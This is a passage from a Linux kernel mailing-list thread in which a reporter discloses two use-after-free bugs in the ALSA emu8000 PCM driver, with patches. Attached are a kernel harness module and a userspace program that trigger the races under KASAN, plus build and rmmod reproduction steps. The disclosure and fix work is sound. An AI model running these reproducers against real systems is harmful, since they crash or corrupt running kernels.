struct snd_pcm_hw_params *p;
unsigned int i, rate = 8000, ch = 1, psize = 1024;
char *e;
if ((e = getenv("PCM_RATE")))
rate = (unsigned)atoi(e);
if ((e = getenv("PCM_CHANS")))
ch = (unsigned)atoi(e);
if ((e = getenv("PCM_PSIZE")))
psize = (unsigned)atoi(e);
p = calloc(1, sizeof(*p));
if (!p)
return -1;
/* masks: ACCESS=RW_INTERLEAVED, FORMAT=S16_LE, SUBFORMAT=STD */
for (i = 0; i < SNDRV_PCM_HW_PARAM_LAST_MASK - SNDRV_PCM_HW_PARAM_FIRST_MASK + 1; i++)
memset(&p->masks[i].bits[0], 0xff, sizeof(p->masks[i].bits));
p->masks[SNDRV_PCM_HW_PARAM_ACCESS].bits[0] &=
1U << SNDRV_PCM_ACCESS_RW_INTERLEAVED;
p->masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0] &=
1U << SNDRV_PCM_FORMAT_S16_LE;
p->masks[SNDRV_PCM_HW_PARAM_SUBFORMAT].bits[0] &=
1U << SNDRV_PCM_SUBFORMAT_STD;
/* intervals: allow wide ranges, REFINE will pick */
for (i = SNDRV_PCM_HW_PARAM_FIRST_INTERVAL;
i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL; i++) {
p->intervals[i - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = 0;
p->intervals[i - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = ~0U;
}
p->rmask = ~0U;
p->cmask = 0;
p->info = ~0U;
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, p) < 0) {
perror("HW_REFINE");
free(p);
return -1;
}
/* nail rate/channels/period for a stable config */
p->intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = rate;
p->intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = rate;
p->intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = ch;
p->intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = ch;
p->intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = psize;
p->intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = psize;
/* emu8k hw_params allocates a memhdr block of buffer_bytes+32 out of
* the 512K fake DRAM; an unbounded REFINE picks the 512K-24 maximum
* and overflows it -> -ENOMEM. Keep the buffer small. */
p->intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = 4096;
p->intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = 16384;
p->rmask = (1U << (SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL));
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, p) < 0) {
perror("HW_REFINE(fixed)");
free(p);
return -1;
}
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, p) < 0) {
perror("HW_PARAMS");
free(p);
return -1;
}
free(p);
/* stop_threshold >= boundary makes snd_pcm_playback_data() always
* report data present, so SNDRV_PCM_IOCTL_START succeeds on an
* empty buffer (start_voice() arms the rec->timer - the race
* counterpart we need alive). */
{
struct snd_pcm_sw_params *s = calloc(1, sizeof(*s));
if (s) {
s->avail_min = 1024;
s->start_threshold = 1024;
s->stop_threshold = 0x7fffffffU;
if (ioctl(fd, SNDRV_PCM_IOCTL_SW_PARAMS, s) < 0)
perror("SW_PARAMS");
free(s);
}
}
if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE) < 0) {
perror("PREPARE");
return -1;
}
if (ioctl(fd, SNDRV_PCM_IOCTL_START) < 0) {
perror("START");
return -1;
}
return 0;
}
static int cycle(int n, int sleep_ms)
{
int i, fd;
for (i = 0; i < n; i++) {
fd = do_open();
if (fd < 0)
return 1;
if (setup_params(fd) == 0)
msleep(sleep_ms); /* RUNNING: timer re-armed
* every jiffie */
close(fd); /* drop -> trigger STOP -> timer_delete
* (non-sync) -> hw_free -> close kfree(rec) */
if ((i % 25) == 0)
printf("cycle %d/%d done\n", i + 1, n);
}
printf("cycle: %d rounds done\n", n);
return 0;
}
static int hold(int seconds)
{
int fd, k;
snd_pcm_sframes_t delay = 0;
fd = do_open();
if (fd < 0)
return 1;
if (setup_params(fd))
return 1;
printf("hold: RUNNING on fd=%d, querying for %ds (keep fd alive across rmmod)\n",
fd, seconds);
for (k = 0; k < seconds * 100; k++) {
if (ioctl(fd, SNDRV_PCM_IOCTL_HWSYNC) < 0)
break;
ioctl(fd, SNDRV_PCM_IOCTL_DELAY, &delay);
msleep(10);
}
printf("hold: closing fd after %d queries (release vs device free)\n", k);
close(fd);
printf("hold: done\n");
return 0;
}
static int idle(int seconds)
{
int fd = do_open();
if (fd < 0)
return 1;
printf("idle: fd=%d sleeping %ds\n", fd, seconds);
sleep(seconds);
close(fd);
printf("idle: done\n");
return 0;
}
static int still(void)
{
int i, fd;
for (i = 0; i < 200; i++) {
fd = do_open();
if (fd < 0)
return 1;
close(fd); /* state stays OPEN -> drop returns
* -EBADFD, no trigger, timer never armed */
}
printf("still: 200 open/close done (timer never armed)\n");
return 0;
}
int main(int argc, char **argv)
{
dev = getenv("PCMDEV");
if (!dev)
dev = dev_pcm;
if (argc >= 3 && !strcmp(argv[1], "cycle"))
return cycle(atoi(argv[2]), argc >= 4 ? atoi(argv[3]) : 150);
if (argc >= 3 && !strcmp(argv[1], "arm")) {
int fd, s = atoi(argv[2]);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("arm: stepping: open\n");
fd = do_open();
if (fd < 0)
return 1;
printf("arm: stepping: hw_params\n");
if (setup_params(fd))
return 1;
printf("arm: RUNNING fd=%d, will close after %ds\n", fd, s);
sleep(s);
close(fd);
printf("arm: closed\n");
return 0;
}
if (argc >= 3 && !strcmp(argv[1], "hold"))
return hold(atoi(argv[2]));
if (argc >= 3 && !strcmp(argv[1], "idle"))
return idle(atoi(argv[2]));
if (argc >= 2 && !strcmp(argv[1], "still"))
return still();
fprintf(stderr,
"usage: %s cycle <n> [sleep_ms] | hold <sec> | idle <sec> | still\n",
argv[0]);
return 2;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: emu8000: pin the module while an emu8k PCM runtime exists (UAF)
2026-12-01 12:25 ` ALSA: emu8000: pin the module while an emu8k PCM runtime exists (UAF) 徐晗翔
@ 2026-12-01 13:13 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-12-01 13:13 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Tue, 01 Dec 2026 13:25:54 +0100,
徐晗翔 wrote:
>
> The EMU8000 wavetable sub-driver (snd_emu8000_synth, an snd_seq bus
> driver) creates a PCM device on the *host* sound card
> (snd_emu8000_pcm_new -> snd_pcm_new) from its probe, and its remove
> (snd_emu8000_remove, emu8000_synth.c:83-97) frees it again with
> snd_device_free(dev->card, hw->pcm) unconditionally. snd_device_free()
> -> __snd_device_free() runs dev_disconnect (snd_pcm_dev_disconnect:
> stops the streams, unregisters the minor, releases pcm->open_mutex and
> returns) and then immediately dev_free -> snd_pcm_free() -> kfree of
> every substream and of the snd_pcm itself. Nothing in that sequence
> waits for open fds: an fd on /dev/snd/pcmC*D1p pins only the *host
> card* module (try_module_get(pcm->card->module) in snd_pcm_open,
> pcm_native.c:2924) and modern driver-core removal runs the remove
> callback via driver_detach() even while fds are open. The in-flight
> fd's later operations, and its final close(), then walk freed memory:
> snd_pcm_release() reads pcm_file->substream and substream->pcm
> (pcm_native.c:2976-2979), takes the freed pcm->open_mutex, and
> snd_pcm_release_substream() calls substream->ops->close, which points
> into the unloaded module's text (exec-after-unload).
>
> Verified on mainline 7.3 with a KASAN kernel, QEMU/KVM x86_64 guest and
> a harness that replicates snd_emu8000_new()'s device-registration tail
> against a fake hw (mem_size>0, so the REAL snd_emu8000_probe() in
> snd-emu8000-synth.ko creates the real PCM via snd_emu8000_pcm_new()),
> then holds an OPEN fd across `rmmod snd_emu8000_synth`:
>
> - pure form (idle fd): 12 reports -- slab-use-after-free in
> snd_pcm_release+0x3a/+0x4d (pcm_file->substream / substream->pcm),
> slab-out-of-bounds in snd_power_ref_and_wait, plus
> __wake_up_common/snd_refcount_put; Freed = kfree <-
> snd_pcm_free_stream <- __snd_device_free <-
> device_release_driver_internal (the rmmod detach path),
> Allocated = snd_pcm_new_stream <- _snd_pcm_new <- snd_pcm_new <-
> snd_emu8000_pcm_new [snd_emu8000_synth];
> - orderly-teardown control (no fd open during removal): 0 reports;
> - RUNNING fd + rmmod: 300+ further wild-access reports (the freed
> timer/pcm overlap corrupts timer and IRQ structures; that flood
> also involves the timer defect I am reporting separately for this
> driver).
>
> Any AWE32/AWE64 (snd-sbawe) system with snd_emu8000_synth loaded and a
> PCM fd open is affected; `rmmod snd_emu8000_synth` (or unbinding the
> seq device on the snd_seq bus) needs root, the fd side needs nothing.
>
> The detailed description:
>
> * Test environment / affected version (also reproduced on 7.4-rc5)
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 tree, unmodified sources, KASAN enabled,
> QEMU/KVM x86_64 guest, CONFIG_SND_SBAWE=m + CONFIG_SND_SBAWE_SEQ=m
> (the emulator only provides the ISA ports; the harness registers the
> emu8000-synth seq device exactly as snd_emu8000_new()'s tail does,
> skipping only the chip-detect probe that needs the real silicon --
> the AWE32 DRAM-populated case sets mem_size>0 exactly as the harness
> does). The audited files sound/isa/sb/* are byte-identical between
> the tested tree and the report baseline; line numbers below are from
> 7.3.
>
> * Mechanism
>
> - snd_pcm_open() pins pcm->card->module only (pcm_native.c:2924);
> emu8k_pcm_open() (emu8000_pcm.c:218-243) does not pin the
> snd-emu8000-synth module that owns the pcm ops and data;
> - snd_device_free() (device.c:130) -> __snd_device_free()
> (device.c:69) runs disconnect then dev_free back-to-back; there is
> no open-fd drain anywhere on this path (the full-card teardown
> gets that from snd_card_disconnect_sync(), which the sub-driver's
> independent removal bypasses);
> - snd_pcm_free_stream() kfrees the substreams (pcm.c:826) and
> snd_pcm_free() kfrees the pcm (pcm.c:863);
> - contrast: the HDA codec driver does exactly the required wait
> (snd_refcount_sync(&codec->pcm_ref) in hda_codec_driver_remove,
> bind.c:165) before releasing its PCMs.
>
> The rmmod path works while fds are open because driver_detach() runs
> the remove callback from module exit regardless of users (modern
> driver core keeps no per-device module reference); the sysfs unbind
> on the snd_seq bus reaches the same remove directly.
>
> * Trigger model
>
> `rmmod snd_emu8000_synth` (root) while any /dev/snd/pcmC*D1p fd is
> open, or unbind of the emu8000-synth seq device. The fd side needs
> no privileges. The final close() of the fd always lands after the
> free (deterministic), in-flight ioctls race it (probabilistic).
> Consequence: slab use-after-free reads, UAF mutex lock, and a call
> into the unloaded module's code through substream->ops->close.
>
> * Reproducer (attached: awerace.c + awe_test.c) and results on 7.3 (also reproduced on 7.4-rc5)
>
> awerace.c registers the "emu8000-synth" seq device exactly as
> snd_emu8000_new()'s tail does (snd_seq_device_new + ARGPTR), with
> mem_size>0 so the REAL snd_emu8000_probe() in snd-emu8000-synth.ko
> creates the REAL PCM (snd_emu8000_pcm_new -> emu8k_pcm_ops);
> everything downstream -- probe, pcm_new, open, close, remove,
> snd_device_free -- is genuine in-tree code. awe_test holds the fd.
>
> # build
> make -C <kernel-build-dir> M=$PWD modules
> # guest (root):
> insmod snd-emu8000-synth.ko # after awerace in repro ordering
> insmod awerace.ko port=0x2000 mem_kb=512 card_idx=1
> ./awe_test idle 25 & # OPEN fd, idle
> sleep 3
> rmmod snd_emu8000_synth # snd_emu8000_remove with fd in flight
> # the holder's exit close() then walks the freed pcm/substream
>
> Results (7.3, 8 vCPU): 12 reports in the pure form quoted above;
> orderly-teardown control (same sequence, no fd): 0 reports.
>
> * Fix
>
> Minimal, targeted first step: emu8k_pcm_open() pins
> snd-emu8000-synth (try_module_get(THIS_MODULE)) once a runtime holds
> a pointer into the module, emu8k_pcm_close() drops it. With the fd
> holding a module reference, `rmmod snd_emu8000_synth` returns EBUSY
> instead of running snd_emu8000_remove() under the fd, which closes
> the main rmmod trigger completely. A complete fix for the sysfs
> unbind path needs a pcm_ref-style wait (the pattern
> hda_codec_driver_remove() already implements with
> snd_refcount_sync(&codec->pcm_ref)); I am happy to prototype that
> direction on request -- the reported pin closes the unprivileged-fd
> exposure now.
>
>
> * Patch
>
> --- a/sound/isa/sb/emu8000_pcm.c
> +++ b/sound/isa/sb/emu8000_pcm.c
> @@ -228,6 +228,14 @@
> rec->emu = emu;
> rec->substream = subs;
> runtime->private_data = rec;
>
> + if (!try_module_get(THIS_MODULE)) {
> + kfree(rec);
> + return -ENODEV;
> + }
>
> spin_lock_init(&rec->timer_lock);
> timer_setup(&rec->timer, emu8k_pcm_timer_func, 0);
> --- a/sound/isa/sb/emu8000_pcm.c
> +++ b/sound/isa/sb/emu8000_pcm.c
> @@ -248,6 +248,7 @@
> struct snd_emu8k_pcm *rec = subs->runtime->private_data;
> kfree(rec);
> subs->runtime->private_data = NULL;
> + module_put(THIS_MODULE);
> return 0;
> }
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
If it's reproducible with 7.4-rc5, please submit rather a proper fix
patch for upstreaming.
thanks,
Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: emu8000: sync the PCM emulation timer before freeing snd_emu8k_pcm and gate the callback re-arm on timer_running (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (29 preceding siblings ...)
2026-12-01 12:25 ` ALSA: emu8000: pin the module while an emu8k PCM runtime exists (UAF) 徐晗翔
@ 2026-12-01 12:28 ` 徐晗翔
2026-12-01 12:37 ` ALSA: opl3: patch_table lookup/clear/load run lock-free against the voice_lock readers (UAF) 徐晗翔
` (10 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:28 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7623 bytes --]
The emu8000 PCM emulation drives its period handling from a kernel
timer that re-arms itself every jiffie (emu8k_pcm_timer_func() ->
mod_timer(&rec->timer, jiffies + 1) inside the rec->timer_lock
section, emu8000_pcm.c:200). Stopping the stream uses the
non-synchronizing timer_delete() (stop_voice(), emu8000_pcm.c:366) --
which removes only the *pending* instance and does not wait for a
callback that is already executing in softirq context -- and
emu8k_pcm_close() then kfree()s rec (emu8000_pcm.c:249) with no
timer_delete_sync() and no gate that would stop a running callback
instance from re-arming. An in-flight emu8k_pcm_timer_func() therefore
continues on freed memory: it dereferences rec->emu for the position
MMIO reads, spin_lock()s the freed rec->timer_lock, writes
rec->period_pos/rec->last_ptr, re-arms the freed timer list_head (a
"ghost" timer that keeps firing every tick afterwards), and finally
reads rec->substream for snd_pcm_period_elapsed().
The trigger window is exactly what the code shape suggests: the timer
re-arms every 1 jiffie while the stream is RUNNING, so close() always
races a callback whose execution takes microseconds over a millisecond
period. Confirmed on mainline 7.3 with a KASAN kernel, QEMU/KVM
x86_64 guest and a harness that registers the emu8000-synth seq device
exactly as snd_emu8000_new()'s tail does against a fake hw (the REAL
snd_emu8000_probe() in snd-emu8000-synth.ko then creates the REAL PCM
via snd_emu8000_pcm_new(), so every downstream site -- open, prepare,
trigger, start_voice, stop_voice, timer callback, close, remove -- is
genuine in-tree code; the QEMU part is only the absence of the actual
chip behind the ISA ports). Holding a RUNNING /dev/snd/pcmC1D1p fd
across `rmmod snd_emu8000_synth` produced 300+ KASAN reports of
wild-memory-access in the timer/IRQ core (update_process_times,
tick_handle_periodic, handle_edge_irq, idle_cpu, ...): that flood is
the combined footprint of this timer defect (freed timer node kept
live on the wheel) together with the separate
snd_device_free-under-open-fd issue of the same sub-driver, which I am
reporting in its own mail. 300 natural close()-only rounds did not
hit (per-round probability ~0.1%: callback runtime in microseconds
over a 1-4 ms tick, matching the code shape), which is why the
deterministic instance still matters.
The detailed description:
* Test environment / affected version (also reproduced on 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest, CONFIG_SND_SBAWE=m + CONFIG_SND_SBAWE_SEQ=m.
The audited file sound/isa/sb/emu8000_pcm.c is byte-identical
between the tested tree and the report baseline; line numbers below
are from 7.3.
* Mechanism
Three interleavings, all ending in the same freed-object accesses:
1. The callback instance has been dequeued from the wheel and starts
executing on another CPU before stop_voice() runs;
timer_delete() then affects nothing that is executing, and
emu8k_pcm_close() kfrees rec while the callback is still before
or inside its rec->timer_lock section.
2. The callback holds rec->timer_lock (updating position fields and
re-arming); stop_voice() blocks on the same lock, then deletes
and close() frees; the callback's post-lock
snd_pcm_period_elapsed(rec->substream) reads the freed
rec->substream pointer.
3. The callback re-arms (mod_timer, unconditional in the guard)
before stop_voice() deletes -- any callback instance that started
before the delete still completes on freed memory afterwards, and
each re-arm schedules a fresh instance: after kfree(rec) the
ghost timer fires every tick on freed memory.
Note the lock asymmetry: stop_voice() runs under the stream spinlock
(snd_pcm_drop -> trigger STOP), so the sync cannot simply be added
there -- but close() is process context, where timer_delete_sync()
is legal.
* Trigger model
Any close() of a RUNNING /dev/snd/pcmC*D1p fd by an unprivileged
user (audio playback stopping). Consequence: UAF reads/writes
through rec (including MMIO via a possibly-reused rec->emu pointer),
a ghost timer that re-arms a freed timer_list every tick, and
snd_pcm_period_elapsed() on freed memory -- oops/deadlock/corruption.
* Reproducer (attached: awerace.c + awe_test.c) and results on 7.3 (also reproduced on 7.4-rc5)
Same device-registration harness as my snd_device_free report for
this sub-driver (the REAL snd_emu8000_probe() creates the REAL PCM;
the QEMU part is only the absence of the chip behind the ISA ports).
# build
make -C <kernel-build-dir> M=$PWD modules
# guest (root):
insmod snd-emu8000-synth.ko
insmod awerace.ko port=0x2000 mem_kb=512 card_idx=1
./awe_test cycle 300 150 # 300x RUNNING -> close, natural race
# RUNNING fd held across module removal (combined footprint):
./awe_test hold 30 & sleep 3; rmmod snd_emu8000_synth
Results (7.3, 8 vCPU): natural 300-round hammering did not produce a
report (per-round probability ~0.1% by the window math above); the
RUNNING-hold + rmmod run produced 321 KASAN reports dominated by
wild-memory-access in the timer/IRQ core -- the freed timer node
staying on the wheel is exactly the ghost-timer effect described
above (that run also exercises the snd_device_free-under-fd defect
reported separately). A fully deterministic single-shot needs the
in-flight callback to be frozen while the close completes; in this
QEMU setup that cannot be reached today because
emu8k_pcm_prepare()'s register-read retry loop spins forever on a
port that returns all-ones (verified with a sysrq-t stack capture:
state:R in snd_emu8000_peek_dw <- emu8k_pcm_prepare), so natural
arming of the timer through the real START path could not be held
open long enough for the parked-instance experiment. On real AWE
hardware the prepare completes normally and the race is reachable by
the plain close() sequence above.
* Fix
Two changes:
1. emu8k_pcm_timer_func(): gate the re-arm on rec->timer_running
(checked under the rec->timer_lock that stop_voice() already
clears) -- a stopped stream never re-arms, which also removes the
mod_timer-under-stalled-sync livelock risk;
2. emu8k_pcm_close(): timer_delete_sync(&rec->timer) before
kfree(rec) -- process context on close, so the sleeping sync is
legal, and with the re-arm gate it can no longer wait on a ghost
re-arm. stop_voice() keeps its non-sync timer_delete() because
it also runs from the trigger path under the stream spinlock.
* Patch
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -187,6 +187,11 @@
bool period_elapsed = false;
scoped_guard(spinlock, &rec->timer_lock) {
+ /* a stopped stream must not re-arm: timer_delete() in
+ * stop_voice() cannot stop an instance already running, and a
+ * re-arm from here would keep a ghost timer alive after close */
+ if (!rec->timer_running)
+ return;
/* update the current pointer */
ptr = emu8k_get_curpos(rec, 0);
if (ptr < rec->last_ptr)
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -246,6 +246,13 @@
static int emu8k_pcm_close(struct snd_pcm_substream *subs)
{
struct snd_emu8k_pcm *rec = subs->runtime->private_data;
+ timer_delete_sync(&rec->timer);
kfree(rec);
subs->runtime->private_data = NULL;
return 0;
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: awerace.c --]
[-- Type: text/plain, Size: 5898 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* awerace.c - dynamic verification harness for SOC-MR-05 / SOC-MR-07
* (docs/manual-review-sound-soc-2026-11-26.md):
*
* SOC-MR-05: snd_emu8000_remove() calls snd_device_free(card, hw->pcm)
* with active /dev/snd/pcmC*D1p fds in flight (the fd pins
* only the host card module, NOT snd_emu8000_synth) ->
* snd_pcm_free_stream() kfree(substream) / snd_pcm_free()
* kfree(pcm) race the fd's ioctl/close paths (plus
* exec-after-unload via substream->ops->close).
* SOC-MR-07: emu8k_pcm_trigger(STOP) -> stop_voice() uses the
* non-sync timer_delete(); the in-flight softirq callback
* emu8k_pcm_timer_func() then locks/reads/writes the
* kfree()'d snd_emu8k_pcm (emu8k_pcm_close kfrees rec)
* and even re-arms a ghost timer.
*
* Device-creation shape: this module replicates the seq-device
* registration tail of snd_emu8000_new() (emu8000.c:1074-1078) - the
* only part reachable without an EMU8000 chip - and skips the hardware
* probe tail (devm_request_region done here on free ISA ports,
* snd_emu8000_detect/init_hw skipped, mem_size forced >0 exactly like
* a DRAM-populated AWE32 so that snd_emu8000_probe() creates the PCM).
* Everything downstream is REAL in-tree code: snd_emu8000_probe
* (snd-emu8000-synth.ko), snd_emu8000_pcm_new, emu8k_pcm_open/prepare/
* trigger/timer/close, snd_emu8000_remove, snd_device_free.
*
* Usage (init plans):
* insmod /socmr06.ko ... (not this one)
* modprobe snd-emu8000-synth (bus id "emu8000-synth" matches first)
* insmod /awerace.ko port=0x620 mem_kb=512
* -> card0 device1 playback appears; userspace awe_test hammers it.
* SOC-MR-05: keep fd open, then modprobe -r snd-emu8000-synth.
*/
#define pr_fmt(fmt) "AWERACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/ioport.h>
#include <linux/platform_device.h>
#include <linux/spinlock.h>
#include <sound/core.h>
#include <sound/seq_device.h>
#include <sound/emu8000.h>
static int port = 0x620;
module_param(port, int, 0400);
MODULE_PARM_DESC(port, "base ISA port for the fake EMU8000 (default 0x620)");
static int mem_kb = 512;
module_param(mem_kb, int, 0400);
MODULE_PARM_DESC(mem_kb, "fake DRAM size in KB (mem_size; >0 makes probe create the PCM)");
static int card_idx = 1;
module_param(card_idx, int, 0400);
MODULE_PARM_DESC(card_idx, "snd_card index to use (0 is the HDA card in some kernels)");
static struct snd_card *awe_card;
static struct snd_emu8000 *awe_hw;
static struct resource *awe_res[3];
static struct platform_device *awe_pdev;
static int __init awerace_init(void)
{
struct snd_seq_device *awe = NULL;
unsigned long base = (unsigned long)port;
int i, ret;
awe_pdev = platform_device_register_simple("awerace-card", -1, NULL, 0);
if (IS_ERR(awe_pdev)) {
ret = PTR_ERR(awe_pdev);
pr_err("card pdev failed %d\n", ret);
return ret;
}
/* sound card (plain ALSA card - emu8000 PCM is not ASoC) */
ret = snd_card_new(&awe_pdev->dev, card_idx, "AWERACE", THIS_MODULE, 0,
&awe_card);
if (ret < 0) {
pr_err("snd_card_new failed %d\n", ret);
return ret;
}
awe_hw = kzalloc(sizeof(*awe_hw), GFP_KERNEL);
if (!awe_hw) {
ret = -ENOMEM;
goto err_card;
}
spin_lock_init(&awe_hw->reg_lock);
awe_hw->index = 1;
awe_hw->port1 = base;
awe_hw->port2 = base + 0x400;
awe_hw->port3 = base + 0x800;
awe_hw->mem_size = mem_kb * 1024; /* >0: probe creates the PCM */
awe_hw->card = awe_card;
awe_hw->seq_ports = 1;
awe_hw->bass_level = 5;
awe_hw->treble_level = 9;
awe_hw->chorus_mode = 2;
awe_hw->reverb_mode = 4;
awe_hw->fm_chorus_depth = 0;
awe_hw->fm_reverb_depth = 0;
/* ports: no EMU8000 chip behind them in QEMU; reads return 0xff
* which keeps the code's busy-waits terminating (0xff & 0x80000000
* == 0). Same ports snd_emu8000_new() would request. */
for (i = 0; i < 3; i++) {
awe_res[i] = request_region(base + i * 0x400, 4, "AWERACE");
if (!awe_res[i]) {
pr_err("request_region 0x%lx failed\n", base + i * 0x400);
ret = -EBUSY;
goto err_hw;
}
}
/*
* REAL-CODE tail of snd_emu8000_new() (emu8000.c:1074-1078):
* register the "emu8000-synth" seq device with our hw as arg.
* When snd-emu8000-synth.ko is loaded, the seq bus matches and
* the REAL snd_emu8000_probe() runs against this hw.
*/
ret = snd_seq_device_new(awe_card, 1, SNDRV_SEQ_DEV_ID_EMU8000,
sizeof(struct snd_emu8000 *), &awe);
if (ret < 0) {
pr_err("snd_seq_device_new failed %d\n", ret);
goto err_hw;
}
strscpy(awe->name, "EMU-8000", sizeof(awe->name));
*(struct snd_emu8000 **)SNDRV_SEQ_DEVICE_ARGPTR(awe) = awe_hw;
ret = snd_card_register(awe_card);
if (ret < 0) {
pr_err("snd_card_register failed %d\n", ret);
goto err_hw;
}
pr_info("card=%px hw=%px ports 0x%lx/0x%lx/0x%lx mem=%dK seqdev=%px\n",
awe_card, awe_hw, awe_hw->port1, awe_hw->port2,
awe_hw->port3, mem_kb, awe);
pr_info("if snd-emu8000-synth is loaded, real snd_emu8000_probe should have run; check /sys/class/sound/ for pcmC%dD1p\n",
awe_card->number);
return 0;
err_hw:
kfree(awe_hw);
awe_hw = NULL;
err_card:
snd_card_free(awe_card);
awe_card = NULL;
platform_device_unregister(awe_pdev);
return ret;
}
static void __exit awerace_exit(void)
{
int i;
if (awe_card)
snd_card_free(awe_card); /* seq device removed; real
* snd_emu8000_remove() body
* runs if synth bound */
kfree(awe_hw);
awe_hw = NULL;
for (i = 0; i < 3; i++)
if (awe_res[i])
release_region((unsigned long)port + i * 0x400, 4);
platform_device_unregister(awe_pdev);
}
module_init(awerace_init);
module_exit(awerace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SOC-MR-05/07 verification harness: fake EMU8000 device driving real snd-emu8000-synth probe/remove + emu8k PCM");
[-- Attachment #3: awe_test.c --]
[-- Type: text/plain, Size: 7831 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* awe_test - userspace PCM hammer for SOC-MR-05/07 verification.
*
* modes:
* cycle <n> [sleep_ms] : n times { open pcmC*D1p -> hw_params ->
* prepare -> START -> sleep -> close }
* MR-07: close() path snd_pcm_drop -> trigger
* STOP -> stop_voice()'s non-sync
* timer_delete() races the in-flight softirq
* emu8k_pcm_timer_func() while
* emu8k_pcm_close() kfrees rec.
* hold <seconds> : one open->params->prepare->START, keep
* HWSYNC/DELAY queries in a loop (fd stays
* alive across modprobe -r snd-emu8000-synth)
* then close - MR-05: snd_emu8000_remove ->
* snd_device_free(hw->pcm) races the in-flight
* fd operations and the final release.
* idle <seconds> : open then sleep (fd held, no PCM activity).
* still : 200x open/close, never hw_params/START
* (timer never armed) - MR-07 negative control.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <time.h>
#include <sound/asound.h> /* system uapi header, verified identical to linux-7.3 */
static const char *dev_pcm = "/dev/snd/pcmC1D1p";
static const char *dev;
static int msleep(int ms)
{
struct timespec ts = { .tv_sec = ms / 1000,
.tv_nsec = (long)(ms % 1000) * 1000000L };
return nanosleep(&ts, NULL);
}
static int do_open(void)
{
int fd = open(dev, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno));
return -1;
}
return fd;
}
/* fill "any" masks then fix rate/channels/buffer/period */
static int setup_params(int fd)
{
struct snd_pcm_hw_params *p;
unsigned int i, rate = 8000, ch = 1, psize = 1024;
char *e;
if ((e = getenv("PCM_RATE")))
rate = (unsigned)atoi(e);
if ((e = getenv("PCM_CHANS")))
ch = (unsigned)atoi(e);
if ((e = getenv("PCM_PSIZE")))
psize = (unsigned)atoi(e);
p = calloc(1, sizeof(*p));
if (!p)
return -1;
/* masks: ACCESS=RW_INTERLEAVED, FORMAT=S16_LE, SUBFORMAT=STD */
for (i = 0; i < SNDRV_PCM_HW_PARAM_LAST_MASK - SNDRV_PCM_HW_PARAM_FIRST_MASK + 1; i++)
memset(&p->masks[i].bits[0], 0xff, sizeof(p->masks[i].bits));
p->masks[SNDRV_PCM_HW_PARAM_ACCESS].bits[0] &=
1U << SNDRV_PCM_ACCESS_RW_INTERLEAVED;
p->masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0] &=
1U << SNDRV_PCM_FORMAT_S16_LE;
p->masks[SNDRV_PCM_HW_PARAM_SUBFORMAT].bits[0] &=
1U << SNDRV_PCM_SUBFORMAT_STD;
